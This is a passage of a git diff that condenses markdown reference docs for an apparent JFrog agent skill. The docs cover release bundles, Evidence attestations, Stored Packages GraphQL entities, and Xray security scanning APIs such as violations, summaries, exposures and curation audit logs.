bundle version | -| `jf rbp` | Promote | Move a bundle to the next lifecycle stage | -| `jf rbd` | Distribute | Deliver a bundle to target nodes | +| `jf rbc` | Create | Assemble new release bundle version | +| `jf rbp` | Promote | Move bundle to next lifecycle stage | +| `jf rbd` | Distribute | Deliver bundle to target nodes | | `jf rbs` | Sign | (v1 only — v2 signs on creation) | -| `jf rbdell` | Delete local | Remove a bundle version locally | -| `jf rbdelr` | Delete remote | Remove a distributed bundle from targets | +| `jf rbdell` | Delete local | Remove bundle version locally | +| `jf rbdelr` | Delete remote | Remove distributed bundle from targets | ## Lifecycle stages -A release bundle progresses through **stages** that typically correspond to -environments (DEV → STAGING → PROD). Each stage transition is a **promotion**. +Release bundle progresses through **stages** typically matching environments (DEV → STAGING → PROD). Each transition = **promotion**. ``` Created ──promote──▶ DEV ──promote──▶ STAGING ──promote──▶ PROD @@ -73,108 +66,91 @@ Created ──promote──▶ DEV ──promote──▶ STAGING ──promote ``` Promotion (`jf rbp`): -- Moves the bundle to a target **environment** -- Requires the bundle to have passed any required quality gates (Xray scans, approvals) -- Each promotion is **recorded** with timestamp, user, source and target environment -- Promotions are auditable — the full history is preserved +- Moves bundle to target **environment** +- Requires bundle passed required quality gates (Xray scans, approvals) +- Each promotion **recorded** with timestamp, user, source + target environment +- Promotions auditable — full history preserved -Environments used in promotion are the same environments configured in the -platform (see `platform-access-entities.md`). They scope which repos are -accessible and which roles apply at each stage. +Promotion environments = platform environments (see `platform-access-entities.md`). Scope repo access + roles per stage. ## Distribution -Distribution delivers a release bundle to **Edge nodes** or other JFrog -Platform Deployments. +Distribution delivers release bundle to **Edge nodes** or other JFrog Platform Deployments. | Concept | Description | |---------|-------------| -| **Distribution target** | A JFrog Edge node or Platform Deployment registered to receive bundles | -| **Distribution rules** | Configuration mapping targets to the bundle version being delivered | -| **Site** | A named destination in the distribution rule | +| **Distribution target** | JFrog Edge node or Platform Deployment registered to receive bundles | +| **Distribution rules** | Config mapping targets → bundle version being delivered | +| **Site** | Named destination in distribution rule | -Distribution (`jf rbd`) copies the bundle's artifacts to the target nodes, -preserving checksums and metadata. The target nodes receive the artifacts in -their local repositories. +Distribution (`jf rbd`) copies bundle artifacts to target nodes, preserving checksums + metadata. Target nodes receive artifacts in local repositories. -Distribution is typically the **final step** after a bundle has been promoted -to a production-ready stage. +Typically **final step** after bundle promoted to production-ready stage. ## Release Bundles in GraphQL (OneModel) -Release bundle versions are also queryable via the OneModel GraphQL API -which exposes additional relationships not available -through the CLI: +Release bundle versions also queryable via OneModel GraphQL — additional relationships beyond CLI: | Field | Description | |-------|-------------| | `createdBy`, `createdAt` | Audit fields | | `artifactsConnection` | Paginated artifacts with path, name, sha256, packageType, packageName, packageVersion, size, properties | -| `evidenceConnection` | Evidence attached to the bundle version | -| `fromBuilds` | Builds that sourced the bundle (name, number, startedAt, repositoryKey) | +| `evidenceConnection` | Evidence on bundle version | +| `fromBuilds` | Builds sourcing bundle (name, number, startedAt, repositoryKey) | -Each artifact within a bundle also has its own `evidenceConnection`, allowing -per-artifact attestation queries. +Each bundle artifact has own `evidenceConnection` — per-artifact attestation queries. -For the OneModel query workflow (credentials, schema fetch, validation, -execution), read `references/onemodel-graphql.md`. +OneModel query workflow (credentials, schema fetch, validation, execution): `references/onemodel-graphql.md`. Query: `releaseBundleVersion.getReleaseBundleVersion(name: "...", version: "...", ...)`. ## Evidence -Evidence provides **cryptographic attestations** about artifacts, builds, -release bundles, application versions, and stored packages for supply chain -integrity. +Evidence = **cryptographic attestations** about artifacts, builds, release bundles, application versions, stored packages for supply chain integrity. ### Evidence entity | Field | Description | |-------|-------------| | `evidenceId` | Unique identifier | -| `subject` | The entity being attested (see Evidence subjects below) | +| `subject` | Entity attested (see Evidence subjects below) | | `predicateCategory` | Category (e.g. `distribution`) | | `predicateType` | Full type URI (e.g. `https://jfrog.com/evidence/distribution/v1`) | | `predicateSlug` | Short form (e.g. `distribution-v1`) | | `predicate` | Predicate data as JSON | -| `verified` | Whether the evidence signature has been verified | -| `signingKey` | Signing key with `alias` and `publicKey` for DSSE verification | -| `providerId` | ID of the evidence provider | -| `stageName` | Stage in which evidence was created (for release bundles and app versions) | +| `verified` | Whether evidence signature verified | +| `signingKey` | Signing key with `alias` + `publicKey` for DSSE verification | +| `providerId` | Evidence provider ID | +| `stageName` | Stage evidence created (release bundles + app versions) | | `createdBy`, `createdAt` | Audit fields | | `attachments` | File attachments (e.g. legal documents) with name, sha256, type, downloadPath | -Evidence records create a verifiable chain of trust: -- Build systems attest to build provenance -- Test frameworks attest to test results -- Approvers attest to manual reviews -- Security scans attest to vulnerability status -- Distribution records attest to delivery +Evidence records = verifiable chain of trust: +- Build systems → build provenance +- Test frameworks → test results +- Approvers → manual reviews +- Security scans → vulnerability status +- Distribution → delivery records ### Evidence subjects -Evidence subjects are **cross-domain** — the `EvidenceSubject` type is shared -across multiple domains via the `fullPath` key: +Evidence subjects **cross-domain** — `EvidenceSubject` type shared across domains via `fullPath` key: | Subject type | Domain | Example | |-------------|--------|---------| | Release bundle version | Release Lifecycle | Bundle attestation before distribution | -| Release bundle artifact | Release Lifecycle | Per-artifact attestation within a bundle | +| Release bundle artifact | Release Lifecycle | Per-artifact attestation in bundle | | Application version | AppTrust | App version attestation before promotion | -| Application version artifact | AppTrust | Per-artifact attestation within an app version | -| Stored package version location | Stored Packages | Package attestation at a specific repo location | +| Application version artifact | AppTrust | Per-artifact attestation in app version | +| Stored package version location | Stored Packages | Package attestation at specific repo location | -This means evidence can be queried from any of these entry points — you don't -need to start from the Evidence query root. For example, -`applications.getApplicationVersion(...).evidenceSubject` reaches the same -evidence as `evidence.searchEvidence(where: {...})`. +Evidence queryable from any entry point — no need to start from Evidence query root. Example: `applications.getApplicationVersion(...).evidenceSubject` = same evidence as `evidence.searchEvidence(where: {...})`. ### CLI and GraphQL access -- **CLI**: `jf evd` namespace. Use `jf evd --help` for available commands. +- **CLI**: `jf evd` namespace. `jf evd --help` for commands. - **GraphQL**: `evidence.searchEvidence(where: {...})`, `evidence.getEvidenceById(id: "...")`, or `evidence.getEvidence(repositoryKey: "...", path: "...", name: "...")`. -Evidence can be queried to verify that all required attestations exist before -promotion or distribution. +Query evidence to verify required attestations exist before promotion or distribution. diff --git a/skills/jfrog/references/stored-packages-entities.md b/skills/jfrog/references/stored-packages-entities.md index 0659c0b..862c276 100644 --- a/skills/jfrog/references/stored-packages-entities.md +++ b/skills/jfrog/references/stored-packages-entities.md @@ -2,18 +2,16 @@ When to read this file: -- Querying **packages stored in Artifactory** at the package level (not raw artifacts). -- Finding **where a package version lives** (which repository, which path). -- Looking up **download statistics**, **tags**, or **qualifiers** on packages. -- Using the OneModel GraphQL API with the `storedPackages` query root. -- Understanding how the **Metadata layer bridges** Artifactory storage with - Applications and Catalog. +- Querying **packages stored in Artifactory** at package level (not raw artifacts). +- Finding **where a package version lives** (repository, path). +- **Download statistics**, **tags**, or **qualifiers** on packages. +- OneModel GraphQL with `storedPackages` query root. +- How **Metadata layer bridges** Artifactory storage with Applications and Catalog. -Stored Packages entities are accessed via the **OneModel GraphQL API** -(`/onemodel/api/v1/graphql`). +Stored Packages via **OneModel GraphQL API** (`/onemodel/api/v1/graphql`). -For the OneModel query workflow (credentials, schema fetch, validation, -execution), read `references/onemodel-graphql.md`. +OneModel workflow (credentials, schema fetch, validation, execution): +`references/onemodel-graphql.md`. ## Entity relationship overview @@ -32,9 +30,7 @@ erDiagram ## StoredPackage -A software package as known to Artifactory's metadata layer. This is the -**package-centric abstraction** over raw artifact storage — it groups related -artifacts into named, typed, versioned packages. +Package in Artifactory metadata — **package-centric abstraction** over raw storage. | Field | Description | |-------|-------------| @@ -55,8 +51,7 @@ Query: `storedPackages.getPackage(name: "...", type: "...")` or ### Repository package type mapping -The `repositoryPackageType` enum canonicalizes Artifactory repo types. Notable -aliases: +`repositoryPackageType` canonicalizes Artifactory repo types. Notable aliases: | Artifactory type | Enum value | |------------------|------------| @@ -67,12 +62,12 @@ aliases: | `terraformprovider`, `terraformmodule` | `TERRAFORM` | | `hfdataset` | `HUGGINGFACEML` | -The full enum includes 40+ types. Use `repositoryPackageType` for filtering -when the Artifactory repo type name differs from the canonical form. +Full enum: 40+ types. Use `repositoryPackageType` when Artifactory repo type +≠ canonical form. ## StoredPackageVersion -A specific version of a package, with location and artifact details. +Specific package version with location and artifact details. | Field | Description | |-------|-------------| @@ -92,19 +87,13 @@ Query: `storedPackages.searchPackageVersions(where: {...})`. ### Filtering capabilities -StoredPackageVersion supports rich filtering: -- By version string (exact, prefix, contains) -- By project key -- By creation/modification date ranges -- By version size -- By associated tags, qualifiers, locations, artifacts, licenses -- `ignorePreRelease` flag to exclude pre-release versions +Filter by: version (exact/prefix/contains), project key, date ranges, size, +tags, qualifiers, locations, artifacts, licenses; `ignorePreRelease` excludes pre-release. ## StoredPackageVersionLocation -The **bridge entity** connecting a package version to a physical repository -location in Artifactory. This is the key entity for answering "where does -package X version Y live?" +**Bridge entity** — package version → physical repository location. Key for +"where does package X version Y live?" | Field | Description | |-------|-------------| @@ -116,17 +105,13 @@ package X version Y live?" | `evidenceSubject` | Evidence attestation anchor (shared across domains) | | `stats` | Location-specific download count and last-downloaded timestamps | -The `evidenceSubject` field connects to the Evidence domain — evidence can be -attached to a specific package version in a specific repo, not just to the -version globally. +`evidenceSubject` → Evidence domain — evidence per package version in specific repo. -The `stats` block includes `downloadCount`, `lastDownloadedAt`, and -`remoteLastDownloadedAt` — the last field tracks when the artifact was last -fetched from a remote repository source. +`stats`: `downloadCount`, `lastDownloadedAt`, `remoteLastDownloadedAt` (last fetch from remote source). ## StoredPackageArtifact -An individual binary file within a package version. +Individual binary file within a package version. | Field | Description | |-------|-------------| @@ -137,22 +122,18 @@ An individual binary file within a package version. | `mimeType` | Content type | | `qualifiers` | Artifact-level key-value qualifiers | -Filtering supports `isLeadArtifact` to identify the primary artifact in a -package version, and `projectKey` for project-scoped queries. +Filtering: `isLeadArtifact` (primary artifact), `projectKey` (project-scoped queries). ## Cross-domain connections Stored Packages bridge Artifactory storage to higher-level domains: - **Applications (AppTrust)** — `ApplicationVersionReleasable.packageVersionLocation` - links to `StoredPackageVersionLocation`. Applications reference where their - package releasables physically reside. -- **Evidence** — `StoredPackageVersionLocation.evidenceSubject` connects to - the Evidence domain via `EvidenceSubject.fullPath`. Evidence can attest to - a specific package version at a specific repository location. -- **Catalog** — Stored Packages represent what's *in your Artifactory*, while - the Catalog represents the global knowledge base *about* those packages. - The package `type` + `name` can join across both. + → `StoredPackageVersionLocation` (where package releasables reside). +- **Evidence** — `StoredPackageVersionLocation.evidenceSubject` → Evidence via + `EvidenceSubject.fullPath` (attestation at specific repo location). +- **Catalog** — Stored Packages = what's *in Artifactory*; Catalog = global + knowledge *about* packages. Join on `type` + `name`. ## Stored Packages vs. raw Artifactory diff --git a/skills/jfrog/references/xray-entities.md b/skills/jfrog/references/xray-entities.md index fdb5b7a..f8d5caa 100644 --- a/skills/jfrog/references/xray-entities.md +++ b/skills/jfrog/references/xray-entities.md @@ -1,15 +1,14 @@ # Xray entities -When to read this file: +Read when working with: -- Working with **security scanning**, **vulnerabilities**, or **license compliance**. -- Configuring or querying **watches**, **policies**, or **violations**. -- Debugging why a scan produced unexpected results or why violations are missing. -- Generating **security reports** or **SBOM** data. -- Searching for **artifacts impacted by a CVE** or containing a specific package. +- **Security scanning**, **vulnerabilities**, or **license compliance** +- **Watches**, **policies**, or **violations** (configure / query / debug missing results) +- **Security reports** or **SBOM** data +- **Artifacts impacted by a CVE** or containing a specific package -For CLI commands: `jf xr --help`, `jf audit --help`, `jf scan --help`. -For REST fallback: `jf api /xray/api/v2/...` (see the base skill's *Invoking platform APIs with `jf api`* section). +CLI: `jf xr --help`, `jf audit --help`, `jf scan --help`. +REST: `jf api /xray/api/v2/...` (see base skill *Invoking platform APIs with `jf api`*). ## Entity relationship overview @@ -29,85 +28,74 @@ erDiagram IgnoreRule }o--o{ Violation : "suppresses" ``` -The core chain: **Watch** monitors **Resources** using **Policies**. When a -**Component** in a resource matches a policy **Rule**, Xray generates a -**Violation**. +Core chain: **Watch** monitors **Resources** via **Policies**. When a +**Component** matches a policy **Rule** → Xray generates a **Violation**. ## Indexed resources -Before Xray can scan or monitor a resource, it must be **indexed**. Indexing -tells Xray to decompose artifacts in that resource into components and track -them continuously. +Xray must **index** a resource before scan/monitor. Indexing decomposes +artifacts into components and tracks them continuously. -Indexable resource types: -- **Repositories** — local and remote repos (Xray indexes the `-cache` for remote repos) -- **Builds** — build info records published to Artifactory +Indexable types: +- **Repositories** — local and remote (Xray indexes the `-cache` for remotes) +- **Builds** — build info published to Artifactory - **Release Bundles** — release bundle versions -Indexing is configured in the Xray UI or via the -`PUT /api/v1/binMgr/builds` / `PUT /api/v1/binMgr/repos` endpoints. +Configure via Xray UI or `PUT /api/v1/binMgr/builds` / `PUT /api/v1/binMgr/repos`. ## Components -A component is a software package that Xray identifies during scanning. -Xray decomposes artifacts (JARs, Docker layers, npm tarballs, etc.) into -their constituent components and maps each to its vulnerability and license -data. +Software package Xray identifies during scanning. Artifacts (JARs, Docker +layers, npm tarballs, …) decompose into components mapped to vulnerability +and license data. -Component identifiers vary by package type: +IDs by package type: - Maven: `gav://group:artifact:version` - npm: `npm://package:version` - Docker: `docker://image:tag` - Python: `pypi://package:version` - Go: `go://module:version` -- Generic: identified by checksum +- Generic: by checksum ## Vulnerabilities -A vulnerability is a known security issue associated with specific component -versions. +Known security issue tied to specific component versions. | Field | Description | |-------|-------------| | `cve` | CVE identifier (e.g. `CVE-2021-44228`) | | `xray_id` | JFrog-assigned identifier | | `severity` | `Critical`, `High`, `Medium`, `Low`, `Unknown` | -| `cvss_v3` | Numeric score extracted from the CVSS v3 string (e.g. `"7.2/CVSS:3.1/..."` → `7.2`) | +| `cvss_v3` | Numeric score from CVSS v3 string (e.g. `"7.2/CVSS:3.1/..."` → `7.2`) | | `fixed_versions` | Component versions where the vulnerability is resolved | | `references` | Links to advisories and patches | -When asked about CVSS score, always use 'cvss_v3' field. -Xray maintains its own vulnerability database, updated continuously. +CVSS score → always use `cvss_v3`. Xray maintains its own continuously updated DB. ## Contextual analysis -Contextual analysis evaluates whether a vulnerability is **actually -reachable** in the specific usage context, going beyond the raw CVE data. -It considers factors like whether vulnerable code paths are invoked, whether -mitigating configurations are present, and whether the component is used in a -way that exposes the vulnerability. +Evaluates whether a vulnerability is **actually reachable** in this usage +context (beyond raw CVE data): invoked code paths, mitigating configs, +exposure via how the component is used. -The result is an **applicability** status that helps prioritize remediation: -a Critical CVE that is not applicable in context is lower priority than a -High CVE that is confirmed applicable. +**Applicability** status drives remediation priority: Critical + not +applicable ≺ High + confirmed applicable. -Available for supported package types and vulnerability types; check Xray -documentation for current coverage. +Coverage varies by package/vulnerability type — check Xray docs. ### Response fields: `applicability` vs `applicability_details` -The summary artifact API returns **two** contextual analysis fields per issue. -They are not interchangeable — use the correct one for the task: +Summary artifact API returns **two** contextual fields per issue — not +interchangeable: | Field | Scope | Use for | |-------|-------|---------| | `applicability` | Top-level array; only populated when a scanner ran and produced a definitive `true`/`false` result. Many issues have `applicability: null`. | Checking whether a specific CVE is confirmed applicable or not applicable, and reading the `info` field for the human-readable reason. | | `applicability_details` | Array present on every issue with exactly one entry per component-vulnerability pair. Always has a `result` string. | **Counting and summarizing** contextual analysis across all issues. This is the authoritative source for breakdowns. | -**Always use `applicability_details[].result` for counts and summaries.** The -top-level `applicability` field is null for issues where no scanner exists or -where the result is undetermined, which leads to incorrect "not analyzed" -buckets if used for aggregation. +**Always use `applicability_details[].result` for counts and summaries.** +Top-level `applicability` is null when no scanner exists or result is +undetermined — aggregating on it mis-buckets "not analyzed". ### `applicability_details` result values @@ -143,17 +131,13 @@ jf api /xray/api/v2/summary/artifact \ ## Licenses -License metadata associated with a component, identified by SPDX identifier -or license name (e.g. `Apache-2.0`, `MIT`, `GPL-3.0`). - -Used in **license compliance policies** — organizations define which licenses -are approved, restricted, or banned, and Xray enforces these rules through -watches and policies. +Component license metadata (SPDX ID or name, e.g. `Apache-2.0`, `MIT`, +`GPL-3.0`). Feeds **license compliance policies** — approved / restricted / +banned lists enforced via watches and policies. ## Watches -A watch is the central **monitoring configuration** that connects resources to -policies. +Central **monitoring config** linking resources to policies. | Field | Description | |-------|-------------| @@ -163,15 +147,14 @@ policies. | `active` | Whether the watch is enabled | | `project_key` | Optional project scope | -When an indexed resource changes (new artifact, updated component data), Xray -re-evaluates all watches that include that resource. +Indexed resource change (new artifact, updated component data) → Xray +re-evaluates watches that include that resource. API: `GET/POST/PUT/DELETE /api/v2/watches` ## Policies -A policy defines **rules** that Xray evaluates against components found in -watched resources. +**Rules** Xray evaluates against components in watched resources. | Policy type | Rule evaluates | Common conditions | |-------------|---------------|-------------------| @@ -179,16 +162,15 @@ watched resources. | **License** | Licenses | Allowed/banned license list | | **Operational risk** | Package metadata | End-of-life, no new versions, low activity | -Each rule has: -- **Condition** — what triggers the rule (severity ≥ High, license in banned list, etc.) -- **Actions** — what happens on match: generate violation, block download, fail build, send notification +Each rule: +- **Condition** — trigger (severity ≥ High, license in banned list, …) +- **Actions** — on match: violation, block download, fail build, notify API: `GET/POST/PUT/DELETE /api/v2/policies` ## Violations -A violation is generated when a component in a watched resource matches a -policy rule. +Generated when a watched component matches a policy rule. | Field | Description | |-------|-------------| @@ -203,26 +185,22 @@ policy rule. | `description` | Violation description (markdown from Xray 3.42.3+) | | `matched_policies` | Policies that matched | -Violations are the primary output that security teams act on. They accumulate -until the underlying component is updated, the artifact is removed, or the -violation is suppressed via an ignore rule. +Primary security-team output. Accumulates until the component is updated, the +artifact is removed, or an ignore rule suppresses it. -Starting from Xray 3.42.3, JFrog Security CVE Research and Enrichment data is -included in the response. The `short_description`, `full_description`, and -`remediation` fields are markdown. +From Xray 3.42.3+: JFrog Security CVE Research/Enrichment in the response; +`short_description`, `full_description`, `remediation` are markdown. ### API: `POST /api/v1/violations` -Search violations with filters and pagination. Requires Read permissions. +Search with filters + pagination. Requires Read permissions. -**Performance warning:** On large or shared instances the violations API can -hang indefinitely when called without narrowing filters. Always include at -least one of `watch_name` or `created_from` (or both) to avoid timeouts. There -is no server-side query timeout — the request simply never returns. If you need -violations across all watches, iterate per-watch rather than issuing a single -unfiltered call. The API also has no `package_type` filter, so filtering by -component type (e.g. npm-only) must be done client-side on `infected_components` -or by querying watches that cover specific repository types. +**Performance warning:** On large/shared instances, violations API can hang +indefinitely without narrowing filters. Always include at least `watch_name` +or `created_from` (or both). No server-side query timeout — request may never +return. For all watches: iterate per-watch; do not issue one unfiltered call. +No `package_type` filter — filter client-side on `infected_components`, or +query watches covering specific repo types. ```bash jf api /xray/api/v1/violations \ @@ -282,62 +260,48 @@ Narrow violations to specific artifacts, builds, or release bundles: | `release_bundles` | `name`, `version` | | `release_bundles_v2` | `name`, `version`, `project` | -**There is no `component` filter.** To find violations for a specific component -(e.g. `npm://lodash:4.17.19`), filter by the resource that contains it -(artifact path, build, or release bundle) or use `cve_id`/`issue_id` to -narrow by vulnerability, then inspect `infected_components` in the response. +**No `component` filter.** For a component (e.g. `npm://lodash:4.17.19`), +filter by containing resource (artifact path, build, release bundle) or by +`cve_id`/`issue_id`, then inspect `infected_components`. ## Ignore rules -An ignore rule suppresses specific violations so they no longer surface in -reports or block downloads. - -Ignore rules can be scoped by: -- **Vulnerability** — specific CVE or Xray ID -- **Component** — specific component and version -- **Artifact** — specific repo path -- **Docker layer** — specific layer in a Docker image -- **Build** — specific build name -- **Release bundle** — specific bundle name/version +Suppress specific violations so they no longer surface or block downloads. -Each rule has optional `expires_at` and `notes` fields. +Scope by: **Vulnerability** (CVE / Xray ID), **Component**, **Artifact**, +**Docker layer**, **Build**, **Release bundle**. Optional `expires_at`, `notes`. API: `GET/POST/DELETE /api/v1/ignore_rules` -**Version note:** The ignore rules API uses **v1** only. The `/api/v2/ignore_rules` -endpoint does not exist and returns 404. +**Version note:** Ignore rules are **v1 only**. `/api/v2/ignore_rules` → 404. ## Summary APIs -On-demand security, license, and operational risk lookups for artifacts -stored in Artifactory. Use **only for security and compliance queries**. +On-demand security, license, and operational-risk lookups for Artifactory +artifacts. Use **only for security/compliance queries**. -**Which endpoint to use:** -- Know the Artifactory path and the repo is indexed → `/api/v2/summary/artifact` -- Know the component ID (GAV, npm, pypi) or the artifact is not indexed → `/api/v1/summary/component` -- Not sure if indexed → try component summary first (always works if the component exists in Xray's DB) +**Which endpoint:** +- Know Artifactory path + repo indexed → `/api/v2/summary/artifact` +- Know component ID (GAV, npm, pypi) or artifact not indexed → `/api/v1/summary/component` +- Unsure if indexed → try component summary first (works if component is in Xray DB) -**Prerequisite — Xray indexing:** These endpoints return data only if the -artifact's repository is indexed by Xray **and** Xray has already scanned -the artifact. An artifact can exist in Artifactory while Xray knows nothing -about it — either because the repository was not marked for indexing, or -because Xray has not yet processed it. Empty results do **not** mean the -artifact is clean; they mean Xray has no data. When results are empty, -report that the artifact may not be indexed rather than declaring it -vulnerability-free. +**Prerequisite — Xray indexing:** Data only if the repo is indexed **and** +Xray has scanned the artifact. Artifact may exist in Artifactory while Xray +knows nothing (repo not marked for indexing, or not yet processed). Empty +results ≠ clean — means no Xray data. Report possibly not indexed; do not +declare vulnerability-free. ### `/api/v1/summary/component` -**v1 only — there is no `/api/v2/summary/component`.** Calling v2 returns 404. +**v1 only — no `/api/v2/summary/component`.** v2 → 404. -Query by component identifier. Returns `issues[]`, `licenses[]`, and -`operational_risks[]` per component. Useful for looking up vulnerabilities -affecting a specific package version without needing to know its Artifactory -path, or when the artifact's repository is not indexed by Xray (making the -artifact summary endpoint return empty). +Query by component ID. Returns `issues[]`, `licenses[]`, +`operational_risks[]` per component. Use when you know the package version +but not the Artifactory path, or when the repo is not indexed (artifact +summary would be empty). -The request body uses `component_details` (an array of objects with -`component_id`), **not** `component_ids`. +Body uses `component_details` (array of `{component_id}`), **not** +`component_ids`. ```bash jf api /xray/api/v1/summary/component \ @@ -345,8 +309,7 @@ jf api /xray/api/v1/summary/component \ -d '{"component_details": [{"component_id": "npm://lodash:4.17.19"}]}' ``` -Component ID format follows the same convention as component identifiers -elsewhere in Xray (see [Components](#components) above): +Component ID format matches [Components](#components) above: - npm: `npm://package:version` - Maven: `gav://group:artifact:version` - Python: `pypi://package:version` @@ -355,24 +318,21 @@ elsewhere in Xray (see [Components](#components) above): ### `/api/v1/summary/artifact` and `/api/v2/summary/artifact` -Query by Artifactory path or SHA-256 checksum. Returns `issues[]`, -`licenses[]`, and `operational_risks[]` per artifact. +Query by Artifactory path or SHA-256. Returns `issues[]`, `licenses[]`, +`operational_risks[]` per artifact. -- **v1** — base response with vulnerability, license, and operational risk data -- **v2** — same structure plus `components[]` inside each issue, containing - `component_id`, `version`, `pkg_type`, and `fixed_versions[]` +- **v1** — vulnerability, license, operational risk +- **v2** — same + `components[]` per issue (`component_id`, `version`, + `pkg_type`, `fixed_versions[]`) -Use v2 when you need to know which component is affected and what version -fixes the vulnerability. Use v1 when fixed-version data is not needed. +Prefer v2 when you need affected component + fix version; v1 otherwise. -Either `paths` or `checksums` must be provided in the request body. If both -are provided, checksums are ignored. +Provide `paths` or `checksums` (if both, checksums ignored). -**Paths must point to specific artifacts, not repositories.** A path like -`default/my-repo/com/example/lib-1.0.jar` works; a repo-level path like -`default/my-repo` returns empty results. To get a security summary for an -entire repository, query individual artifact paths (discovered via AQL or -`jf rt search`) or use the violations API / reports API instead. +**Paths must be specific artifacts, not repos.** +`default/my-repo/com/example/lib-1.0.jar` works; `default/my-repo` → empty. +For a whole repo: query individual paths (AQL / `jf rt search`) or use +violations / reports APIs. ```bash # v1 — by path @@ -390,13 +350,13 @@ See `SKILL.md` § *Invoking platform APIs with `jf api`* for the full response s ## Impacted resources search -`GET /api/v2/search/impactedResources` — find all resources (artifacts, builds, -release bundles) impacted by a specific CVE **or** containing a specific -package. **Preferred over `/api/v1/component/searchByCves`** when you need -artifact paths, repos, and scan dates rather than just component identifiers. +`GET /api/v2/search/impactedResources` — resources (artifacts, builds, release +bundles) impacted by a CVE **or** containing a package. **Prefer over +`/api/v1/component/searchByCves`** when you need paths, repos, scan dates +(not just component IDs). -Requires the **Reports Manager** permission and the **SBOM Service** (returns -403 if SBOM is disabled on self-hosted). Available since Xray 3.131. +Needs **Reports Manager** + **SBOM Service** (403 if SBOM disabled +self-hosted). Since Xray 3.131. ### Search modes @@ -406,7 +366,7 @@ Requires the **Reports Manager** permission and the **SBOM Service** (returns | By package version | `name` + `type` + `version` | "Where is log4j-core 2.14.1 used?" | | By package (all versions) | `name` + `type` | "Where is lodash used, any version?" | -All parameters are **query string** params (not request body): +All params are **query string** (not body): | Param | Description | |-------|-------------| @@ -478,7 +438,7 @@ jf api "/xray/api/v2/search/impactedResources?name=lodash&type=npm" ### Pagination -Page through results using `last_key`: +Page with `last_key`: ```bash # First page @@ -491,17 +451,14 @@ jf api "/xray/api/v2/search/impactedResources?vulnerability=CVE-2021-23337&limit ## Exposures (Advanced Security) -Exposures are actionable security findings produced by JFrog Advanced Security -that go beyond traditional vulnerability scanning. While vulnerabilities -identify known CVEs in software components, exposures detect **real-world -exploitable threats** in binaries, source code, and configurations — such as -hard-coded secrets, insecure Infrastructure-as-Code templates, and service -misconfigurations. This helps prioritize critical fixes over theoretical risks. +Actionable findings from JFrog Advanced Security beyond CVE scanning: +hard-coded secrets, insecure IaC, service misconfigs — real exploitable +threats in binaries, source, and configs (vs theoretical CVEs). -Exposures require **JFrog Advanced Security** to be enabled on the Xray -instance. Artifacts must be in an indexed repository and already scanned. +Requires **JFrog Advanced Security** enabled. Artifact must be in an indexed +repo and already scanned. -After getting results, keep only results with status==`to_fix` unless asked otherwise. +After results: keep only `status==to_fix` unless asked otherwise. ### Exposure categories @@ -527,8 +484,8 @@ After getting results, keep only results with status==`to_fix` unless asked othe ### API: Get exposure results -`GET /api/v1/{category}/results` — returns a paginated list of exposure scan -results for a specific artifact. Available since Xray 3.59.4. +`GET /api/v1/{category}/results` — paginated exposure results for one +artifact. Since Xray 3.59.4. | Parameter | Required | Description | |-----------|----------|-------------| @@ -593,13 +550,12 @@ done ### Discovering artifact paths for exposures -The exposures API requires a specific artifact `path` — it cannot scan an -entire repository in one call. For Docker images the scannable artifact is -the **manifest**: `<image>/<tag>/manifest.json`. For other package types use -the artifact filename (e.g. `app-1.0.0.tgz`, `lib-2.3.jar`). +Exposures API needs a specific artifact `path` — cannot scan a whole repo in +one call. Docker: scannable artifact is the **manifest** +`<image>/<tag>/manifest.json`. Other types: artifact filename +(e.g. `app-1.0.0.tgz`, `lib-2.3.jar`). -When the caller doesn't know the artifact paths, discover them first with AQL -and then fan out to the exposures endpoint. +Unknown paths → discover with AQL, then fan out to exposures. **Docker repos** — find all manifests: @@ -613,9 +569,8 @@ echo "$OUT" jq -r '.results[] | .path + "/" + .name' "$OUT" ``` -The `$nmatch` filter excludes temporary upload layers. Each result path -(e.g. `my-image/latest/manifest.json`) can be passed directly to the -exposures API's `path` parameter. +`$nmatch` excludes temporary upload layers. Each result path +(e.g. `my-image/latest/manifest.json`) → exposures API `path` param. **Non-Docker repos** — find scannable artifacts: @@ -627,10 +582,8 @@ jf api /artifactory/api/search/aql \ ## Curation audit events -Curation audits every package check that passes through a curated repository -and records whether the download was **approved** or **blocked**. The audit -log also captures **dry-run** policy evaluations (policies configured in -dry-run mode). +Curation logs every package check through a curated repo as **approved** or +**blocked**, plus **dry-run** policy evaluations. ### Get audit logs @@ -638,13 +591,12 @@ dry-run mode). GET /xray/api/v1/curation/audit/packages ``` -Since 3.82.x. Requires `VIEW_POLICIES` permission. +Since 3.82.x. Requires `VIEW_POLICIES`. -**Time-range limit:** The maximum allowed window between `created_at_start` and -`created_at_end` is **168 hours (7 days)**. Requests exceeding this return an -error (`"Maximum allowed duration is 168 hours"`). To query longer periods, -split into consecutive 7-day (or shorter) chunks and merge results client-side. -Use 6-day windows to avoid edge-case overflows from hour-level rounding. +**Time-range limit:** Max window `created_at_start`→`created_at_end` is +**168 hours (7 days)**. Longer → error `"Maximum allowed duration is 168 hours"`. +Split into ≤7-day chunks (prefer 6-day to avoid hour-rounding overflow) and +merge client-side. | Parameter | Type | Default | Description | |-----------|------|---------|-------------| @@ -705,28 +657,25 @@ Response shape (key fields): } ``` -The `action` field is either `"blocked"` or `"approved"`. Each event includes -the `policies` array listing every non-dry-run policy that affected the -decision (blocking, bypassed, and waived). +`action` is `"blocked"` or `"approved"`. `policies` lists every non-dry-run +policy that affected the decision (blocking, bypassed, waived). ### Pagination -Use `offset` + `num_of_rows` for pagination. The `meta.next_offset` field -gives the offset for the next page. Set `include_total=true` on the first -request to know the total number of events. +`offset` + `num_of_rows`. `meta.next_offset` → next page. First request: +`include_total=true` for total event count. ### Common use cases -- **Export all blocked packages**: paginate with `num_of_rows=2000`, filter - results by `action == "blocked"`. -- **Dry-run analysis**: set `dry_run=true` to see what *would* be blocked if - dry-run policies were enforced. -- **CSV export**: set `format=csv` for bulk export. Narrow the time range if - the response indicates incomplete data (`audit_packages_incomplete.csv`). +- **Export blocked packages**: paginate `num_of_rows=2000`, filter + `action == "blocked"`. +- **Dry-run analysis**: `dry_run=true` → what *would* block if enforced. +- **CSV export**: `format=csv`. Narrow time range if + `audit_packages_incomplete.csv`. ## Reports -On-demand analysis over a defined scope, produced asynchronously. +On-demand scoped analysis, async. | Report type | Analyzes | |-------------|----------| @@ -735,6 +684,5 @@ On-demand analysis over a defined scope, produced asynchronously. | **Violations** | Policy violations across watched resources | | **Operational risks** | Package health metrics | -Reports can be scoped to repositories, builds, release bundles, or projects. -They are generated via `POST /api/v1/reports/{type}` and 